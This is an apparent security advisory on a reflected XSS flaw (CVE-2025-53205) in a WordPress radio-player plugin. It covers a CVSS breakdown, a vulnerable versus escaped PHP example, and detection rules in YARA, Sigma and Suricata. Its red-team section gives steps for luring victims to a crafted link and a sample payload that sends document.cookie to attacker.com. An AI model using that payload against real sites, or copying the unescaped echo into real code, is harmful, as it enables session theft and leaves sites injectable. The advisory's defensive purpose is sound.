CVE-2025-53205

Executive Summary

CVE-2025-53205 is a reflected Cross-Site Scripting (XSS) vulnerability in the LambertGroup Radio Player Shoutcast & Icecast WordPress plugin (identified by the slug lbg-audio4-html5-shoutcast). This plugin allows website owners to embed Shoutcast and Icecast radio streams. The vulnerability stems from improper neutralization of user-supplied input during web page generation, enabling an attacker to inject arbitrary JavaScript into a reflected response. Given the plugin's presence in the WordPress ecosystem, this issue poses a significant risk to site visitors and administrators who may be tricked into clicking a crafted link. The CVSS score of 7.1 (High) reflects the low complexity and network-based attack vector, though user interaction is required. As of this report, no official patch has been released, and no public proof-of-concept code is available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress Plugin Directory. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is part of the WordPress supply chain. Users are advised to monitor the plugin's update channel for a patched version. Since the patch status is unknown, site administrators should consider disabling the plugin until a fix is available.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack can be launched remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – The victim must click a crafted link.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited impact on service availability.

Threat Level: High (7.1) – Exploitation is straightforward, and the impact on confidentiality, integrity, and availability is moderate.

Deep Dive & Mechanics

The vulnerability exists in the lbg-audio4-html5-shoutcast plugin, which processes user input (likely via URL parameters or form fields) without proper sanitization or output encoding. When a user visits a specially crafted URL, the malicious script is reflected back in the HTTP response and executed in the user's browser. This is a classic reflected XSS flaw.

Root Cause: The plugin fails to escape or validate input before embedding it in the HTML output. For example, a parameter like ?station=... might be directly echoed into a <script> tag or an HTML attribute without encoding.

Attack Vector: An attacker crafts a malicious link containing JavaScript payloads. The victim clicks the link while authenticated to the WordPress site, allowing the attacker to steal session cookies, perform actions on behalf of the victim, or deface the page.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable pattern. A typical vulnerable code snippet might look like:

// Vulnerable: Direct echo of user input
echo '<div class="station-name">' . $_GET['station'] . '</div>';

A patched version would use WordPress's built-in escaping functions:

// Patched: Proper output encoding
echo '<div class="station-name">' . esc_html( $_GET['station'] ) . '</div>';

The esc_html() function converts special characters to HTML entities, preventing script injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress site running the vulnerable plugin (version <= 4.4.7).
• Ability to craft a URL with a malicious payload.

Exploitation Steps:

1. Identify a parameter that is reflected in the page (e.g., ?station=test).
2. Craft a payload: ?station=<script>alert('XSS')</script>.
3. Encode the payload if necessary (e.g., URL encoding).
4. Send the crafted link to a victim (e.g., via email or social engineering).
5. When the victim clicks the link, the script executes in their browser.

Example Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Note: No public exploit code is available, but the above demonstrates the attack vector.

Blue Team (Defensive)

Detection:

• Monitor web server logs for unusual query strings containing <script>, onerror, onload, or other XSS indicators.
• Use a Web Application Firewall (WAF) to block common XSS patterns.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Mitigation:

• Disable the plugin until a patch is released.
• Apply a virtual patch via WAF rules (e.g., block requests with lbg-audio4-html5-shoutcast and suspicious parameters).
• Educate users not to click suspicious links.

Indicators of Compromise (IOCs)

• URL Patterns: Requests containing lbg-audio4-html5-shoutcast with parameters like station, url, or stream followed by <script> tags or JavaScript event handlers.
• Log Entries: HTTP 200 responses with injected JavaScript in the body.
• Network Traffic: Outbound connections to attacker-controlled domains from the victim's browser (if the payload exfiltrates data).
• File Hashes: No specific file hashes available, but the plugin files are located in /wp-content/plugins/lbg-audio4-html5-shoutcast/.

Detection Engineering

YARA Rule

rule CVE_2025_53205_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts against LambertGroup Radio Player Shoutcast & Icecast plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-53205"
    strings:
        $plugin_path = "lbg-audio4-html5-shoutcast"
        $xss_payload1 = /<script[^>]*>.*<\/script>/i
        $xss_payload2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss_payload3 = /onload\s*=\s*["']?[^"']*["']?/i
    condition:
        $plugin_path and any of ($xss_payload*)
}

Sigma Rule

title: Reflected XSS Attempt Against LambertGroup Radio Player Plugin
id: 8f3a2b1c-4d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects reflected XSS attempts targeting the lbg-audio4-html5-shoutcast plugin
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-53205
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - "lbg-audio4-html5-shoutcast"
        cs-uri-query|re:
            - "<script"
            - "onerror="
            - "onload="
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in parameters (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-53205 - Reflected XSS in LambertGroup Radio Player Plugin"; flow:to_server,established; content:"lbg-audio4-html5-shoutcast"; http_uri; pcre:"/(<script|onerror=|onload=)/i"; classtype:web-application-attack; sid:10000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the lbg-audio4-html5-shoutcast plugin until a patched version is released.
2. Virtual Patching: Deploy WAF rules to block requests containing the plugin path and XSS patterns.
3. Code Hardening: If you have access to the source code, apply output encoding using esc_html(), esc_attr(), or wp_kses() for all user-supplied input.
4. Monitoring: Enable detailed logging for web requests and review logs for suspicious activity.
5. User Education: Train users to avoid clicking untrusted links, especially those containing query parameters.
6. Long-Term: Monitor the WordPress Plugin Directory for updates and apply patches as soon as they become available.

Valters IT
DevSecOps & Cyber Threat Intelligence